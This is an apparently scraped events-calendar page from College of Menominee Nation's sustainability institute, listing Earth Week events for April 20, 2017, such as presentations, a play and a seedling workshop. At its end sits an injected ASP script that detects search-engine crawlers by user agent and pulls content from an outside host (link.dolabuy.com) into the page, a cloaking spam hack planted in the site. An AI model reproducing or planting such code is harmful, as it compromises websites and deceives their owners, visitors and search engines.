Print this Page

(No title)

Loading Events
Find Events

Event Views Navigation

Events for April 20, 2017

Day Navigation

Ongoing

Earth Week Celebration

April 17, 2017 @ 8:00 am - April 22, 2017 @ 5:00 pm
College of Menominee Nation, N172 State Hwy. 47/55
Keshena, 54135 United States

A week-long series of activities focused around Earth Day that builds increased capacity for civic engagement within the CMN, Menominee and surrounding communities to address issues of sustainability.

Find out more »

Community Organizing Training

April 19, 2017 @ 5:30 pm - April 20, 2017 @ 8:00 pm
Find out more »
11:00 am

Earth Week Presentations

April 20, 2017 @ 11:00 am - 1:00 pm
College of Menominee Nation Green Bay Campus, 2733 S Ridge Rd
Green Bay, WI 54304 United States

History of Earth Day- Dr. Vickers Climate Literacy- Greg Gauthier CMN Greenhouse Gas Inventory Waste and Recycling- Rebecca Edler

Find out more »
12:30 pm

Theater for Earth Week

April 20, 2017 @ 12:30 pm - 1:30 pm
College of Menominee Nation, N172 State Hwy. 47/55
Keshena, 54135 United States

Ryan Winn's theater class will perform a play for Earth Week in Shirley Daly Hall room 126.

Find out more »
5:00 pm

Grow Your Own Seedlings

April 20, 2017 @ 5:00 pm - 6:30 pm
College of Menominee Nation Cultural Learning Center, N172 State Hwy. 47/55
Keshena, 54135 United States
Find out more »
+ Export Events

Permanent link to this article: http://sustainabledevelopmentinstitute.org/event/grow-your-own-seedlings/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>